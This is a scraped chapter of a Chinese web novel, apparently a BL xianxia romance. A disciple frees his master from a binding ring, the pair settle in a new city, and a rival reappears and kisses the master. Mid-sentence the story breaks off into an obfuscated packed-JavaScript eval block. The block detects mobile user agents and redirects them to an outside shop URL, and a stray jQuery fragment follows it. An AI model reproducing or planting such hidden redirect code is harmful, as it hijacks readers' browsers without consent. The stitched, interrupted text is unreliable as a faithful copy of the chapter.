文趣网 > 其他小说 > 如何在疯魔男主手下求活 > 50.第50章
    “师父。”

    饭吃到一半,风尘仆仆的凌仙忽然出现。

    魏惜站起身,皱眉打量了他一圈,“你去挖煤了?整这么狼狈。”

    凌仙拍拍身上的灰,摇头,“没有。”

    他瞧见魏惜额头上的黑灰,没忍住弯起眼眸,“师父你才是,挖了几斤煤啊?”

    魏惜注意到他的眼神,凑到水缸前看了眼,发现了自己额头上的黑灰。

    “……”

    “咳,意外。”

    魏惜舀了点水擦掉黑灰,当做什么都没发生。

    “饿不饿?锅里还有饭。”

    说着魏惜也没等凌仙回答,直接去厨房盛了碗饭出来。

    凌仙接过碗,坐到先前魏惜坐的门槛上,开启沉浸式吃播。

    已经吃饱的魏惜耸耸肩,又去给他倒了杯水。

    “慢点吃,喝口水。”

    “谢谢师父。”

    凌仙接过水杯一饮而尽。

    魏惜蹲到他身边,“这次怎么出去这么久?”

    “我找到了能解决锁灵环的办法,去确认了一下。”凌仙答。

    “什么办法?”

    “墨石城兰家有一个名叫蛟剪的宝物,它能剪断锁灵环和云青之间的联系,让它回归无主之物,那样锁灵环也就没效果了。”凌仙语气轻快地说道,“我已经和兰家说好,他们愿意把蛟剪借我一用。”

    魏惜听他这么说,面上却没有多高兴,叹了声气,“这么重要的东西都肯借你,你答应他们什么了?”

    凌仙抿了抿唇,“没什么,只是替墨石城参加一趟十城大会。”

    十城大会,《天命契灵》书里有过着墨。

    是群魔天每隔十年举办的一次盛会,十大主城的排名与更迭便在此会上确定。

    每个有信心角逐十大主城的城池都可派出十名五十岁以内的灵士,参与九十九重天阳楼的爬楼,以楼层高低排名。

    九十九重天阳楼原是无量寺锻炼弟子的圣物,它会根据进入之人的修为与实力自动匹配对应的挑战,越往上挑战的难度越大。

    后来它在罪民攻打无量寺时被抢走,带到了群魔天,成为了主城排名的道具。

    一些城池内的年轻主力不足,会向外寻求外援。

    墨石城估计是瞧出凌仙的潜力,打算用一次蛟剪的使用换一个强力外援。

    魏惜记得书里谢应一是被一个十大排名末尾的城池邀请参加的十城大会,请他帮忙稳住自己的排名。

    谢应一在九十九重天阳楼里遇到的是妖兽,一路打上去,妖兽的修为越来越高,后面甚至出现了六阶妖兽(相当于人类灵尊),最后一层出现的是他自己的复制体,他战胜自我,登顶九十九层,刷新了九十九重天阳楼最高闯关和最快闯关两个榜单的记录,狠狠耍了一波帅。

    时间对不上,谢应一参加的应该不是这一届,但这乱走的剧情说不定会衔接上,也说不好他会不会去。

    “师父?”凌仙望着眼神放空的魏惜,疑惑地喊了声。

    “啊?怎么了?”魏惜回神。

    凌仙摇摇头,“师父,蛟剪需要去墨石城才能用,要麻烦你和我一起去一趟。”

    “好,什么时候走?”

    “今晚就出发吧,云青那家伙一直在加大对师父你的搜寻,锁灵环还是早些解决为妙。”

    凌仙扒完最后一口饭,说。

    魏惜欣慰地摸摸他的头发,“辛苦你了,凌仙。”

    凌仙脸颊有些飘红,他腾地一下站起来,“我去洗碗。”

    *

    魏惜和凌仙来到墨石城。

    城主兰文和凌仙经过一番讨价还价后,签订了合作契约,以约束双方。

    银色蛟剪从黑色手环上剪过,手环没出现任何外观上的变化,但魏惜明显感觉到自己从某种束缚中挣脱。

    吧嗒、

    滑脱的手环掉到桌上,颜色从墨黑变成灰黑,仿佛失去了灵魂。

    兰文收起蛟剪,擦擦额头的汗,开口:“两位道友,幸不辱命。”

    魏惜站起身朝他行礼,“多谢兰前辈。”

    “不用这么客气。”兰文哈哈一笑,“只希望凌道友能帮我们墨石城在十城大会取得一个好名次。”

    面对他人的凌仙高冷得多,只微微点头,“会的。”

    “两位可要在我这墨石城住几天?十城大会开始还有一段时间,我们离得近,提前个两三天过去就行。”兰文说。

    “不用,到时我会过来。”凌仙冷淡地拒绝了。

    他带着魏惜头也不回的离开,甚至有些急切,直到飞舟驶离墨石城他才隐隐松了口气。

    魏惜轻声问:“怎么了?你好像有些紧张。”

    凌仙开口:“方才锁灵环被破坏时,云青的灵识突破了一瞬,他应该感应到了你的位置。”

    “原来是这样。”魏惜拍拍他的肩膀,“没事,你师父我也不是泥捏的,他要是追上来,我们一起揍他!”

    凌仙嘴角弯了弯,“好。”

    魏惜给他和自己各倒了杯水,“现在这是去哪儿?回无涯谷吗?”

    凌仙摇头,“不是,去石象城。石象城的城主和凤溪城不对付,云青的手伸不到那里去。我去参加十城大会,师父你在石象城更安全一些。”

    “也好,听你的。”魏惜笑了笑,“我们凌仙现在也是很靠谱的大人了。”

    凌仙露出一个轻微的羞涩的笑,似乎被他夸得有些不好意思。

    魏惜抿了口水,陷入思索。

    石象城……怎么有些耳熟呢?

    在看到下方城市那个巨大的独角蛇形雕像后,魏惜终于想起石象城为什么耳熟了。

    它是十大主城排第十的城市,也是书中邀请谢应一成为十城大会外援的那个城池。

    城中那个雕像是城主的契灵化身——独角王蛇。

    独角王蛇是在云凤食谱上的,石象城和凤溪城不对付,很合理,毕竟谁会喜欢把自己当食物的人呢。

    魏惜和凌仙很快融入石象城。

    这座城里的灵士大多都是蛇形契灵,可能是基于蛇类的特性,他们白天大多懒洋洋的,最喜欢做的事是在院里、房顶、街边等地方晒太阳。

    魏惜租了个院子住下,凌仙也没走,说是要多陪陪他。

    住了没两天,凌仙不知从哪弄来一堆竹子,说要亲手给他做个躺椅,连灵力都不用,非得亲自拿着刀一根根劈。

    魏惜看得牙疼,但也不好打击徒弟的积极性,于是从厨房里拿出食盒,说:“我去怡丰楼买些菜回来,今晚犒劳你,吃顿好的。”

    “等等。”凌仙叫住打算出门的魏惜,擦干净手后递给他一个彩绘的老虎头面具,“师父戴上这个再出去吧,小心为上。”

    魏惜接过这个有些幼稚的面具,撇撇嘴,“知道啦。”

    他戴上面具,打开院门出去。

    怡丰楼是石象城最出名的灵食饭店,用的食材都是妖兽肉以及富含灵气的植物,兼顾口味与灵气,深受灵士喜爱。

    魏惜这种喜欢吃的,自然不会错过

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760847|208381||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    ,落地石象城短短几天,他已经来过三次了。

    除了排队时间很长,它几乎没有缺点。

    站在队尾的魏惜瞧着前方拐弯的队伍,心里叹了声气。

    “小城主,好几天没见你出来了。”

    “小城主,你也来怡丰楼吃饭啊?”

    “小城主……”

    魏惜顺着人声,看到一个神气的小女孩踱步走了过来。

    她看上去十一二岁,不到魏惜腰高,头高高昂着,配上那张红苹果似的圆脸,不会让人觉得傲慢,只有一种憨态可掬的可爱。

    “大家好,好久不见。”她一边走,一边招手和人打招呼,一副小大人的模样。

    魏惜面具下的嘴角微微上扬。

    这小丫头真可爱。

    一道不容忽视的目光落在自己身上,魏惜皱了下眉,顺着视线望过去,注意到那个跟在小城主身后带着兔子面具的高大男人。

    “小城主,今天换护卫了?”

    “是啊,这是大冰块,我最近刚捡回来的,可厉害了!”

    魏惜目送小城主带着那个叫大冰块的护卫被迎进裕丰楼,目露思索。

    嗯?怎么感觉那个人有些熟悉,错觉吗?

    想不通的魏惜很快将其抛之脑后,高兴地提着满当当的食盒往回走。

    行至一个无人小巷,一只手忽然压着魏惜将他顶到墙上。

    “谁?!”

    挥出的手被抓住,白色的兔子面具出现在魏惜的视线里。

    咚、咚、

    近距离对上那双面具下的双眼,魏惜的心跳漏了两拍。

    “谢……谢应一?”

    身体被拉入怀中,拥在脊背的手臂,带着仿佛要将他融入骨血的力度。

    “魏惜,魏惜……”

    一声声呼唤传进魏惜的耳膜,让他产生了一种从内而外的战栗。

    这感觉好陌生……

    他不由自主地回抱住谢应一,却摸到一片湿润,抬手一看,是鲜红的血色。

    “谢应一,你在流血!”

    谢应一将头埋在他的颈窝,闷声道:“嗯。”

    “呃,要不你先治下伤?”有些喘不过气的魏惜轻声提议。

    “好,你帮我。”

    谢应一松开他,脸上的面具被掀到额头,遮住了视线。

    “哎?帮什唔……”

    略显冰凉的唇覆上来,干燥的唇纹通过接触传进魏惜脑海。

    谢应一是需要鹤涎吗?

    这般想着,魏惜主动张口嘴,凝聚出鹤涎等待谢应一的汲取。

    但谢应一却只轻轻蹭着他的唇,时不时含住唇肉吮吻,没有进一步的动作。

    视野被剥夺的魏惜清晰地感受着他给予的一切,一种莫名的痒意传遍整片头皮。

    他咽了咽口水,稍稍侧头躲开,问道:“不是说治伤吗,你不要鹤涎?”

    谢应一似乎发出一声轻笑,他的呼吸喷洒到魏惜脸上,带着炙热的温度,“要。”

    湿热的舌尖在唇外舔了舔,沿着唇缝深入口腔。

    魏惜将鹤涎送上去,却被卷着舌头,生生扯入对方的地界。

    “唔?”

    抓着谢应一手臂的五指因为这忽如其来的变故紧了紧,魏惜喉中发出疑惑的音调。

    谢应一绵密地往他的舌尖上印着吻,发出“嗒”“嗒”地湿漉漉的响声,听得魏惜头皮发麻。

    谢应一抽什么风呢?!

    这哪像是要鹤涎的样子,这分明……分明就是……吻。